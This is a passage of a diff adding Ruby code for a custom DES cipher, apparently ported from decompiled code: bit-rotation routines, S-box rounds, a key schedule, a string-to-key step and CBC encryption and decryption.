0x80) != 0 + v5 |= 0x80000000 + end + if (v4 & 0x1000000) != 0 + v6 = 1 + end + if (v4 & 0x10000) != 0 + v6 |= 2 + end + if (v4 & 0x100) != 0 + v6 |= 4 + end + if (v4 & 1) != 0 + v6 |= 8 + end + if (v3 & 0x1000000) != 0 + v6 |= 0x10 + end + if (v3 & 0x10000) != 0 + v6 |= 0x20 + end + if (v3 & 0x100) != 0 + v6 |= 0x40 + end + if (v3 & 1) != 0 + v6 |= 0x80 + end + if (v4 & 0x4000000) != 0 + v6 |= 0x100 + end + if (v4 & 0x40000) != 0 + v6 |= 0x200 + end + if (v4 & 0x400) != 0 + v6 |= 0x400 + end + if (v4 & 4) != 0 + v6 |= 0x800 + end + if (v3 & 0x4000000) != 0 + v6 |= 0x1000 + end + if (v3 & 0x40000) != 0 + v6 |= 0x2000 + end + if (v3 & 0x400) != 0 + v6 |= 0x4000 + end + if (v3 & 4) != 0 + v6 |= 0x8000 + end + if (v4 & 0x10000000) != 0 + v6 |= 0x10000 + end + if (v4 & 0x100000) != 0 + v6 |= 0x20000 + end + if (v4 & 0x1000) != 0 + v6 |= 0x40000 + end + if (v4 & 0x10) != 0 + v6 |= 0x80000 + end + if (v3 & 0x10000000) != 0 + v6 |= 0x100000 + end + if (v3 & 0x100000) != 0 + v6 |= 0x200000 + end + if (v3 & 0x1000) != 0 + v6 |= 0x400000 + end + if (v3 & 0x10) != 0 + v6 |= 0x800000 + end + if (v4 & 0x40000000) != 0 + v6 |= 0x1000000 + end + if (v4 & 0x400000) != 0 + v6 |= 0x2000000 + end + if (v4 & 0x4000) != 0 + v6 |= 0x4000000 + end + if (v4 & 0x40) != 0 + v6 |= 0x8000000 + end + if (v3 & 0x40000000) != 0 + v6 |= 0x10000000 + end + if (v3 & 0x400000) != 0 + v6 |= 0x20000000 + end + if (v3 & 0x4000) != 0 + v6 |= 0x40000000 + end + if (v3 & 0x40) != 0 + v6 |= 0x80000000 + end + + # Create return tuple + ret_block = Array.new + ret_block.push v5 + ret_block.push v6 + ret_block + end + + def rotate_block_final(input_block_tuple) + + v6 = 0 + v5 = 0 + input_block_tuple = input_block_tuple.pack("V*").unpack("i*") + v3 = input_block_tuple[0] + v4 = input_block_tuple[1] + + if (v4 & 0x80) != 0 + v5 = 1 + end + if (v3 & 0x80) != 0 + v5 |= 2 + end + if (v4 & 0x8000) != 0 + v5 |= 4 + end + if (v3 & 0x8000) != 0 + v5 |= 8 + end + if (v4 & 0x800000) != 0 + v5 |= 0x10 + end + if (v3 & 0x800000) != 0 + v5 |= 0x20 + end + if (v4 < 0) + v5 |= 0x40 + end + if (v3 < 0) + v5 |= 0x80 + end + if (v4 & 0x40) != 0 + v5 |= 0x100 + end + if (v3 & 0x40) != 0 + v5 |= 0x200 + end + if (v4 & 0x4000) != 0 + v5 |= 0x400 + end + if (v3 & 0x4000) != 0 + v5 |= 0x800 + end + if (v4 & 0x400000) != 0 + v5 |= 0x1000 + end + if (v3 & 0x400000) != 0 + v5 |= 0x2000 + end + if (v4 & 0x40000000) != 0 + v5 |= 0x4000 + end + if (v3 & 0x40000000) != 0 + v5 |= 0x8000 + end + if (v4 & 0x20) != 0 + v5 |= 0x10000 + end + if (v3 & 0x20) != 0 + v5 |= 0x20000 + end + if (v4 & 0x2000) != 0 + v5 |= 0x40000 + end + if (v3 & 0x2000) != 0 + v5 |= 0x80000 + end + if (v4 & 0x200000) != 0 + v5 |= 0x100000 + end + if (v3 & 0x200000) != 0 + v5 |= 0x200000 + end + if (v4 & 0x20000000) != 0 + v5 |= 0x400000 + end + if (v3 & 0x20000000) != 0 + v5 |= 0x800000 + end + if (v4 & 0x10) != 0 + v5 |= 0x1000000 + end + if (v3 & 0x10) != 0 + v5 |= 0x2000000 + end + if (v4 & 0x1000) != 0 + v5 |= 0x4000000 + end + if (v3 & 0x1000) != 0 + v5 |= 0x8000000 + end + if (v4 & 0x100000) != 0 + v5 |= 0x10000000 + end + if (v3 & 0x100000) != 0 + v5 |= 0x20000000 + end + if (v4 & 0x10000000) != 0 + v5 |= 0x40000000 + end + if (v3 & 0x10000000) != 0 + v5 |= 0x80000000 + end + if (v4 & 8) != 0 + v6 = 1 + end + if (v3 & 8) != 0 + v6 |= 2 + end + if (v4 & 0x800) != 0 + v6 |= 4 + end + if (v3 & 0x800) != 0 + v6 |= 8 + end + if (v4 & 0x80000) != 0 + v6 |= 0x10 + end + if (v3 & 0x80000) != 0 + v6 |= 0x20 + end + if (v4 & 0x8000000) != 0 + v6 |= 0x40 + end + if (v3 & 0x8000000) != 0 + v6 |= 0x80 + end + if (v4 & 4) != 0 + v6 |= 0x100 + end + if (v3 & 4) != 0 + v6 |= 0x200 + end + if (v4 & 0x400) != 0 + v6 |= 0x400 + end + if (v3 & 0x400) != 0 + v6 |= 0x800 + end + if (v4 & 0x40000) != 0 + v6 |= 0x1000 + end + if (v3 & 0x40000) != 0 + v6 |= 0x2000 + end + if (v4 & 0x4000000) != 0 + v6 |= 0x4000 + end + if (v3 & 0x4000000) != 0 + v6 |= 0x8000 + end + if (v4 & 2) != 0 + v6 |= 0x10000 + end + if (v3 & 2) != 0 + v6 |= 0x20000 + end + if (v4 & 0x200) != 0 + v6 |= 0x40000 + end + if (v3 & 0x200) != 0 + v6 |= 0x80000 + end + if (v4 & 0x20000) != 0 + v6 |= 0x100000 + end + if (v3 & 0x20000) != 0 + v6 |= 0x200000 + end + if (v4 & 0x2000000) != 0 + v6 |= 0x400000 + end + if (v3 & 0x2000000) != 0 + v6 |= 0x800000 + end + if (v4 & 1) != 0 + v6 |= 0x1000000 + end + if (v3 & 1) != 0 + v6 |= 0x2000000 + end + if (v4 & 0x100) != 0 + v6 |= 0x4000000 + end + if (v3 & 0x100) != 0 + v6 |= 0x8000000 + end + if (v4 & 0x10000) != 0 + v6 |= 0x10000000 + end + if (v3 & 0x10000) != 0 + v6 |= 0x20000000 + end + if (v4 & 0x1000000) != 0 + v6 |= 0x40000000 + end + if (v3 & 0x1000000) != 0 + v6 |= 0x80000000 + end + + # Create return tuple + ret_block = Array.new + ret_block.push v5 + ret_block.push v6 + ret_block + end + + def load(a1) + a2 = Array.new(8, 0) + v3 = a1 + a2[0] = a1 & 0xff + v3 >>= 3 + a2[1] = v3 & 0xff + v3 >>= 4 + a2[2] = v3 & 0xff + v3 >>= 4 + a2[3] = v3 & 0xff + v3 >>= 4 + a2[4] = v3 & 0xff + v3 >>= 4 + a2[5] = v3 & 0xff + v3 >>= 4 + a2[6] = v3 & 0xff + v3 >>= 4 + a2[7] = v3 & 0xff + a2[0] = (a2[0] * 2) & 0xff + a2[7] |= (16 * a2[0]) & 0xff + v3 >>= 4 + a2[0] |= v3 & 0xff + + data_block = a2.pack("c*").unpack("V*") + data_block[0] &= 0x3F3F3F3F + data_block[1] &= 0x3F3F3F3F + data_block + end + + def desx(data_block, ksch, idx) + ksch = ksch.pack("V*") + ksch = ksch.unpack("Q<*") + key_block = ksch[idx] + + data_block_ptr = data_block.pack("V*") + data_block_ptr = data_block_ptr.unpack1("Q<*") + data_block_ptr ^= key_block + + counter = 1 + data_block_byte_ptr = [data_block_ptr].pack('Q<') + left = SBOXES[data_block_byte_ptr[0].ord] + right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)] + counter += 1 + left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)] + counter += 1 + right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)] + counter += 1 + left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)] + counter += 1 + right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)] + counter += 1 + left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)] + counter += 1 + right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)] + counter += 1 + left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)] + counter += 1 + right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)] + counter += 1 + left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)] + counter += 1 + right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)] + counter += 1 + left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)] + counter += 1 + right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)] + counter += 1 + left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)] + counter += 1 + right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)] + + # Create return tuple + ret_block = Array.new + ret_block.push left + ret_block.push right + ret_block + + end + + def store(data_block) + a1 = data_block.pack("V*") + val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1 + val & 0xffffffff + end + + def sbox_xors(data_block_in, ksch_arg, decrypt_flag) + + decrypt_flag_cpy = decrypt_flag + if (decrypt_flag & 0x100) != 0 + data_block_0 = data_block_in + else + data_block_0 = rotate_block_init(data_block_in) + end + + encrypt_flag = (decrypt_flag_cpy & 1) == 0 + ti_block_0 = load(data_block_0[0]) + ti_block_1 = load(data_block_0[1]) + + for i in 0..15 + ti_cpy = ti_block_1 + if encrypt_flag + ti_block_1 = desx(ti_block_1, ksch_arg, i) + else + ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i) + end + ti_block_1[0] ^= ti_block_0[0] + ti_block_1[1] ^= ti_block_0[1] + ti_block_0 = ti_cpy + end + + data_block_0[0] = store(ti_block_1) + data_block_0[1] = store(ti_block_0) + + if (!(decrypt_flag_cpy & 0x200) != 0) + rotate_block_final(data_block_0) + else + data_block_0 + end + + end + + def gen_key_unchecked(key) + + idx = 0 + key_arr = key.unpack("V*") + key_sch = Array.new + for i in 0..15 + idx += ROTATIONS[i].ord + v6 = 0 + v5 = 0 + v14 = 0 + for j in 0..47 + pc2_p1 = (idx + PC2[j].ord) % 0x1C + if PC2[j].ord > 0x1B + pc2_p2 = 0x1c + else + pc2_p2 = 0 + end + v13 = PC1[pc2_p1 + pc2_p2].ord + if v13 <= 31 + v12 = 0 + else + v12 = 1 + v13 -= 32 + end + if j <= 23 + v10 = j + else + v14 = 1 + v10 = j - 24 + end + v11 = 8 * (v10 / 6) + v10 % 6 + key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13] + + if (key_and != 0) + if v14 == 1 + v6 |= SBOX_BYTE_ORDER[v11] + else + v5 |= SBOX_BYTE_ORDER[v11] + end + end + end + key_sch.push v5 + key_sch.push v6 + end + key_sch + end + + def des_string_to_key(key_buf_str) + + des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0) + des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1) + + temp_key1 = Array.new(8, 0) + temp_key2 = Array.new(8, 0) + + key_buf_bytes = key_buf_str.unpack("c*") + + counter = 0 + key_buf_str_len = key_buf_bytes.length - 1 + for i in 0..key_buf_str_len + counter %= 8 + temp_key1[counter] |= key_buf_bytes[i] + temp_key2[counter] |= key_buf_bytes[i] + + data_block = temp_key1.pack("c*").unpack("V*") + temp_key1 = sbox_xors(data_block, des_keysch_0, 0) + temp_key1 = temp_key1.pack("V*").unpack("c*") + + data_block = temp_key2.pack("c*").unpack("V*") + temp_key2 = sbox_xors(data_block, des_keysch_1, 0) + temp_key2 = temp_key2.pack("V*").unpack("c*") + counter += 1 + end + + # Prepare the return array + ret_key = Array.new(8, 0) + for j in 0..7 + ret_key[j] = temp_key2[j] ^ temp_key1[j] + end + ret_key.pack("c*") + end + + def des_cbc(input_buf, key_sch, iv, decrypt_flag) + + output_block_arr = Array.new + blocks = input_buf.unpack("Q<*") + for i in 0..blocks.length - 1 + + current_block = blocks[i] + if decrypt_flag == 1 + cur_block = current_block + else + current_block ^= iv + end + + current_block_tuple = [current_block].pack("Q<").unpack("V*") + output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag) + output_block = output_block_tuple.pack("V*").unpack1("Q<") + output_block_arr.push output_block + + if decrypt_flag == 1 + output_block ^= iv + iv = cur_block + else + iv = output_block + end + end + + output_block_arr.pack("Q<*") + + end + + def des_crypt_func(binary_buf, key_buf, decrypt_flag) + des_key = des_string_to_key(key_buf) + des_keysch = gen_key_unchecked(des_key) + + temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0) + binary_buf_str = binary_buf.unpack('c*') + + for j in 0..binary_buf_str.length - 1 + temp_enc_buf[j] = binary_buf_str[j] + end + + temp_enc_buf = temp_enc_buf.pack('c*') + output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag) + output_buf + end + +end